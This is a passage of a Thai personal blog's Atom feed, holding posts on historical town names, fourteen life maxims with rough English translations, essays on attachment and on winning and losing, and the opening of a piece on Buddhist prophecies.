&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp; เสมา,โคราช&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดนครราชสีมา&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp; พิมาย&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; อ.พิมาย จังหวัดนครราชสีมา&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp; ขุขันธ์&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดศรีษะเกษ&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp; ไชยา&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดสุราษฎ์ธานี&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp; ศิริธรรมนคร&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดนครศรีธรรมราช&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp; ถลาง&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดภูเก็ต&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp; คลองวาน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดประจวบคีรีขันธ์&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp; ไชยนารายณ์&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดเชียงราย &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; นันทบุรี&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดน่าน&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; บ้านตลาดแก้ว&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดนนทบุรี&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อเดิม&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ดอนมดแดง&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ชื่อปัจจุบัน&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จังหวัดอุบลราชธานี&lt;br /&gt;
&lt;br /&gt;
ขอบคุณข้อมูลจาก : thaigoodview</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/7001434706537521340/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/09/blog-post.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/7001434706537521340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/7001434706537521340'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/09/blog-post.html' title='ชื่อเมืองต่างๆ ของประเทศไทย ในประวัติศาสตร์'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-6771759175849885706</id><published>2011-08-08T10:37:00.000+07:00</published><updated>2011-08-08T10:37:03.451+07:00</updated><title type='text'>14 สิ่งที่สุดในชีวิตเราคือ ??</title><content type='html'>1. ศัตรูที่น่าสะพรึงกลัวที่สุดในชีวิตเรา คือ ตัวเราเอง &lt;br /&gt;
The most formidable enemy in one&#39;s life is oneself &lt;br /&gt;
&lt;br /&gt;
2. ความล้มเหลวที่ยิ่งใหญ่ที่สุดในชีวิตเรา คือ ความอวดดี &lt;br /&gt;
The biggest failure in one&#39;s life is self-important. &lt;br /&gt;
&lt;br /&gt;
3. การกระทำที่โง่เขลาที่สุดในชีวิตเรา คือ การหลอกลวง&lt;br /&gt;
The unwiset act in one&#39;s life is deceit. &lt;br /&gt;
&lt;br /&gt;
4. สิ่งที่แสนสาหัสที่สุดในชีวิตเรา คือ ความอิจฉาริษยา &lt;br /&gt;
The most miserable act in one&#39;s life is jealousy. &lt;br /&gt;
&lt;br /&gt;
5. ความผิดพลาดมหันต์ที่สุดในชีวิตเรา คือ การยอมแพ้ตนเอง &lt;br /&gt;
The gravest mistake in one&#39;s life is self-abundonment. &lt;br /&gt;
&lt;br /&gt;
6. สิ่งที่เป็นอกุศลที่สุดในชีวิตของเรา คือ การหลอกตัวเอง &lt;br /&gt;
The most sinful act in one&#39;s life is self-deception. &lt;br /&gt;
&lt;br /&gt;
7. สิ่งที่น่าสังเวชที่สุดในชีวิตเรา ก็คือ การถดถอยของตัวเอง &lt;br /&gt;
The most pitiful temperament in one&amp;amp;rsquo&#39;s life is self-abasement. &lt;br /&gt;
&lt;br /&gt;
8. สิ่งที่น่าสรรเสริญที่สุดในชีวิตเรา ก็คือ ความอุตสาหะวิริยะ &lt;br /&gt;
The most admirable spirit in one&amp;amp;rsquo&#39;s life is perserverance. &lt;br /&gt;
&lt;br /&gt;
9. ความล้มละลายที่สุดในชีวิตเรา ก็คือ ความสิ้นหวัง&lt;br /&gt;
The most complete bankruptcy in one&amp;amp;rsquo&#39;s life is despair. &lt;br /&gt;
&lt;br /&gt;
10. ทรัพย์สมบัติที่มีค่าที่สุดในชีวิตเรา คือ สุขภาพที่สมบูรณ์ &lt;br /&gt;
The greatest wealth in one&amp;amp;rsquo&#39;s life is health.&lt;br /&gt;
&lt;br /&gt;
11. หนี้ที่ยิ่งใหญ่ที่สุดในชีวิตเรา คือ หนี้บุญคุณ&lt;br /&gt;
The heaviest debt in one&amp;amp;rsquo&#39;s life is a debt gratitide for &lt;br /&gt;
other&#39;s help. &lt;br /&gt;
&lt;br /&gt;
12. ของขวัญที่ยิ่งใหญ่ที่สุดในชีวิตเรา คือ การให้อภัยและความเมตตา &lt;br /&gt;
The groundest gift in one&amp;amp;rsquo&#39;s life is forgiveness and kindness, &lt;br /&gt;
&lt;br /&gt;
13. ข้อบกพร่องที่ใหญ่หลวงที่สุดในชีวิตเรา คือ การมองโลกในแง่ร้ายและไร้เหตุผล&lt;br /&gt;
The biggest shortcoming in one&amp;amp;rsquo&#39;s life is permissism on unreason. &lt;br /&gt;
&lt;br /&gt;
14. สิ่งที่ทำให้อิ่มอกอิ่มใจมากที่สุด คือ การให้ทาน&lt;br /&gt;
The greatest gratification in one&amp;amp;rsquo&#39;s life is alms giving</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/6771759175849885706/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/08/14.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/6771759175849885706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/6771759175849885706'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/08/14.html' title='14 สิ่งที่สุดในชีวิตเราคือ ??'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-8578331606269083284</id><published>2011-06-07T11:04:00.000+07:00</published><updated>2011-06-07T11:04:16.011+07:00</updated><title type='text'>แค่ความผูกพันธ์</title><content type='html'>&lt;span style=&quot;font-size: large;&quot;&gt;แค่ความผูกพันธ์&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; วันนี้ เราอาจรู้สึกผูกพันต่อสิ่งหนึ่ง จนคิดว่าเราขาดไม่ได้... แต่เวลาจะทำให้ทุกอย่าง&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เปลี่ยนแปลง&amp;nbsp; ไปสักวันเราจะรู้ว่า สิ่งที่เราผูกพันในวันนี้ เป็นแค่ส่วนหนึ่งที่เติมชีวิตเรา &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ไม่ใช่ทั้งหมดของชีวิต &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; วันหนึ่ง หากเรามีโอกาสได้เจอสิ่งที่ถูกใจสิ่งใหม่ที่เราคิดว่าเราพึงใจ..ปรารถนา..ต้อง &lt;br /&gt;
&amp;nbsp; การ..ขาดไม่ได้ &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; เราก็จะเริ่มผูกพันกับสิ่งใหม่ได้ในเวลาไม่นานนัก &lt;br /&gt;
เวลา.. จะสอนเราเองว่า ความผูกพันกับสิ่งใดๆในช่วงเวลาหนึ่ง จะเป็นความสุขในช่วงเวลานั้นๆ อย่าได้ไปยึดติด อย่าได้ไปใช้ชีวิตทั้งชีวิตลุ่มหลง คิดเสียว่าเราโชคดีที่มีโอกาสได้ผูกพันกับสิ่งที่เรารัก &lt;br /&gt;
ความผูกพันก็เหมือนกับความรัก หรืออาจจะเป็นผลพวงที่มาจากความรัก หากเรารักใครคนใดคนหนึ่งมาก เราก็จะรู้สึกว่าผูกพันมาก แต่ความผูกพันที่ว่า ไม่ได้หมายถึงการหยุดตัวเองไว้กับสิ่งนั้นๆ เพราะคนเราทุกคนย่อมผูกพันกับหลายๆสิ่ง &lt;br /&gt;
เปรียบเสมือน เรามีแก้วนำอยู่หนึ่งใบ &lt;br /&gt;
ในยามเช้า...เราอาจต้องใช้แก้วใบนี้ดื่มนม &lt;br /&gt;
พออากาศร้อนหน่อย...เราอาจต้องการน้ำเย็นๆ &lt;br /&gt;
บางครั้งที่เราไม่สบาย...เราอาจต้องการน้ำอุ่น &lt;br /&gt;
ใจเราก็เหมือนกับแก้วน้ำ... &lt;br /&gt;
ต้องเติมสิ่งต่างๆ ในเวลาที่แตกต่างกัน ตามความเหมาะสม &lt;br /&gt;
หากเราเติมน้ำเย็นลงไปในแก้วน้ำ &lt;br /&gt;
แล้วเติมน้ำร้อนลงไปในทันที ในแก้วใบเดียวกัน &lt;br /&gt;
แก้วใบนั้น..ก็จะร้าว..เริ่มแตก ซึ่งก็เหมือนกับใจเรา... &lt;br /&gt;
ความผูกพันต่อสิ่งหนึ่งสิ่งใดในช่วงเวลาหนึ่งนั้น..ไม่ผิด ถ้าเราค่อยๆปรับใจ..ปรับตัวของเราเอง..ให้กลับคืนในเวลาที่ควร เพราะอย่างน้อยที่สุด..เราก็มีโอกาสได้ผูกพัน ซึ่งก็เหมือนเรามีโอกาสได้รักนั่นเอง &lt;br /&gt;
ถ้าคุณมีความสุขที่เห็นเค้าเดินกับคนอื่น... คือ ความรัก &lt;br /&gt;
ถ้าคุณเศร้า..เหงา..คิดถึงเค้า..อยากเจอ..อยากพูดคุย... คือ ความรัก &lt;br /&gt;
ถ้าคุณร้อนรนที่เค้าอยู่กับใครๆที่ไม่ใช่คุณ... คือ ความใคร่ &lt;br /&gt;
อยากเก็บไว้เป็นเจ้าของคนเดียว &lt;br /&gt;
ถ้าคุณเมามาย..เค้าลูบหลังไหล่..ดูแล... คือ ความรักที่บริสุทธิ์ใจ &lt;br /&gt;
ถ้าคุณเมามาย..เค้ากอดและสัมผัสร่างกาย... คือ ความใคร่จากเค้าของคุณ &lt;br /&gt;
ถ้าคุณเข้าหา.. แต่เค้าหนี... ... คือ ความใคร่ ที่หมดเยื่อใยแล้ว &lt;br /&gt;
ถ้าคุณหนี.. แต่เขาวิ่งตามมา... ... คือ ความรัก ที่ยังไม่มีจุดจบ &lt;br /&gt;
ถ้าคุณร้องไห้ให้กับคนที่ไม่มีเยื่อใยในตัวคุณ... คุณคือ คนโง่ และบ้า &lt;br /&gt;
อย่างน่าอาย &lt;br /&gt;
แต่ถ้าคุณพอใจ..จงรัก..และมอบความรักให้กับเค้า... แม้มันจะไม่กลับมาหาคุณก็ตาม &lt;br /&gt;
&lt;br /&gt;
จงดีใจที่ได้รักซะวันนี้.. ดีกว่าที่จะมานั่งเสียใจในวันหน้า &lt;br /&gt;
จงภูมิใจที่มีความใคร่.. เสน่หา &lt;br /&gt;
เพราะมันจะไม่ย้อนกลับมาหาอีกต่อไป...</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/8578331606269083284/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/06/blog-post.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/8578331606269083284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/8578331606269083284'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/06/blog-post.html' title='แค่ความผูกพันธ์'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-7618025980080624472</id><published>2011-05-21T16:55:00.001+07:00</published><updated>2011-05-21T16:55:19.462+07:00</updated><title type='text'>ชนะหรือแพ้...มันก็แค่สิ่งสมมุติ</title><content type='html'>อาจกล่าว ได้ว่า ความล้มเหลวและความผิดหวังนั้นเป็นสิ่งที่อยู่คู่กับ เราไม่ต่างจากความสม หวัง เพียงแต่คนเรามักจะสมมติให้ตัวเองพึงพอใจกับความสมหวังมากกว่าเท่านั้นเอง&lt;br /&gt;
ใน ยามที่สมหวัง เราอาจจะบอกกับตัวเองว่าเป็น &quot;ผู้ชนะ&quot; โดยที่ไม่เคยสนใจว่าได้มันมาอย่างไร หรือไม่รู้ด้วยซ้ำว่าจะเก็บรักษาเอาไว้ได้นานอย่างไร&lt;br /&gt;
ในทางกลับกัน เมื่อเป็นฝ่ายที่ต้องผิดหวังบ้าง เราก็มักจะตอกย้ำกับตัวเองอยู่เสมอว่าเราเป็น &quot;ผู้แพ้&quot; คนส่วนใหญ่จึงมองข้ามสิ่งสำคัญของชีวิตไป เพราะมัวแต่จดจ้องอยู่แค่คำว่า&lt;br /&gt;
แพ้ . . . ชนะ &lt;br /&gt;
หาก เปรียบชีวิตคนเราเป็นการแข่งขัน โลกนี้ก็คงเป็นสนามที่ยิ่งใหญ่ที่สุด เราทุกคนมีสิทธิ์เท่าเทียมกันที่จะเข้าร่วมอย่างไม่ มีเงื่อนไข และก็ใช่ว่าโลกจะจำกัดชนิดกีฬาที่แข่งขัน มีหลากหลายอย่างที่ให้เราเลือกเล่น เราจึงต้องแสดงฝีมือในสิ่งที่ตนเองถนัดอย่างเต็มความ สามารถ จนกว่าระฆังยกสุดท้ายของชีวิตจะดังขึ้น ซึ่งก็จะเป็นการสิ้นสุดการแข่งขันอันยาวนานนั้นลง&lt;br /&gt;
และในสนามแข่งขัน ของเกมชีวิตนั้นจะไม่มีการพักครึ่ง ไม่มีการขอเวลานอก ที่สำคัญไม่สามารถเปลี่ยนตัวผู้เล่นได้ เพราะเราต่างเกิดมาเพื่อที่จะเล่นเกมของตัวเองด้วยตัวเองจนจบ&lt;br /&gt;
แม้บาง เกมเราจะแพ้หรือชนะ แต่ทุกๆ เกมเกิดจากการตัดสินใจของตัวเราเองทั้งสิ้น เราจึงต้องยืดอกยอมรับต่อผลที่เกิดขึ้นอย่างกล้าหาญ และน่าจะดีกว่าถ้าเราทำทุกอย่างให้ดีที่สุด เพื่อจะไม่ต้องเสียใจในภายหลังเมื่อความผิดหวังมาเยือน&lt;br /&gt;
เมื่อพูดอย่าง นี้ ก็ใช่ว่าจะยิ่งใหญ่ที่สุดเสมอไป เพราะบางครั้งความพ่ายแพ้ก็มีความสำคัญไม่ยิ่งหย่อนไปกว่ากันเลย แม้ว่าชัยชนะจะเป็นยอดปรารถนาของคนเราก็ตามที แต่เรามักจะได้อะไรดีๆ ในชีวิตจากความพ่ายแพ้มากกว่า เพียงแต่เราต้องทำความรู้จักและเรียนรู้จากมัน เพื่อสามารถนำเอาความผิดพลาดต่างๆ มาใช้ให้เกิดประโยชน์ในครั้งต่อไป ดังเช่นที่ นโปเลียน นักการเมืองการทหารผู้ยิ่งใหญ่ชาวฝรั่งเศส เคยกล่าวไว้ว่า&lt;br /&gt;
&quot;คนที่ไม่รู้จักเรียนรู้จากความผิดพลาด ยังห่างไกลจากหนทางสู่ความสำเร็จนัก&quot; &lt;br /&gt;
ไม่จำเป็นว่าเราต้องเป็นผู้ชนะฝ่ายเดียว&lt;br /&gt;
แพ้เสียบ้างก็เป็นกำไรชีวิตได้เช่นกัน &lt;br /&gt;
คน ส่วนใหญ่จึงอาจจะคิดว่าการเป็นที่หนึ่งนั้นจำเป็นต้องเอาชนะคนอื่นเท่า นั้น หากแต่แท้จริงแล้ว เกมที่เราแข่งขันอยู่ในสนามชีวิตจริง อาจไม่จำเป็นต้องมีคู่แข่งอื่นใดนอกจากตัวเรา เพราะบางทีเพียงแค่การเอาชนะใจตัวเอง เพราะบางทีเพียงแค่การเอาชนะใจตัวเองมันก็เป็นเรื่อง ที่ยากเย็นเสียนี่กระไร&lt;br /&gt;
บางทีหากเราต้องการจะเป็นผู้ชนะตัวจริง จึงไม่ใช่การวิ่งแซงหน้าเพื่อเอาชนะใครต่อใคร หากแต่คือการเอาชนใจตัวเองให้ได้ ก็ถือเป็นชัยชนะที่ยิ่งใหญ่ที่สุดในโลกแล้วล่ะครับ</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/7618025980080624472/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/05/blog-post_21.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/7618025980080624472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/7618025980080624472'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/05/blog-post_21.html' title='ชนะหรือแพ้...มันก็แค่สิ่งสมมุติ'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-5072616221107825851</id><published>2011-05-20T09:52:00.000+07:00</published><updated>2011-05-20T09:52:27.511+07:00</updated><title type='text'>พุทธทำนาย</title><content type='html'>พุทธทำนาย 16 ประการ &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ใน ยุคโลกาภิวัตน์ ที่ความเจริญทางด้านวัตถุ ก้าวหน้าไปอย่างไม่หยุดยั้ง เป็นที่น่าฉงนว่า ทำไมคนในโลกกลับมีความสุขน้อยลง และดูเหมือนว่าปัญหาในการดำรงชีวิต กลับมีเพิ่มขึ้น โดยเฉพาะปัญหาทางด้านศีลธรรม จริยธรรมอันเป็นความเจริญทางด้านจิตใจ ดูจะเป็นสมการผกผัน กับความเจริญทางด้านวัตถุอย่างน่าเป็นห่วง ทุกวันนี้ หากเราฟังข่าวคราวไม่ว่าในประเทศไทย หรือประเทศอื่นๆ ทั่วโลก ล้วนแล้วแต่มีเหตุการณ์ร้ายๆ เกิดขึ้นไม่เว้นแต่ละวัน ทั้งจากภัยพิบัติทางธรรมชาติ และภัยอันเกิดจากน้ำมือของมนุษย์ด้วยกันเอง &lt;br /&gt;
&lt;br /&gt;
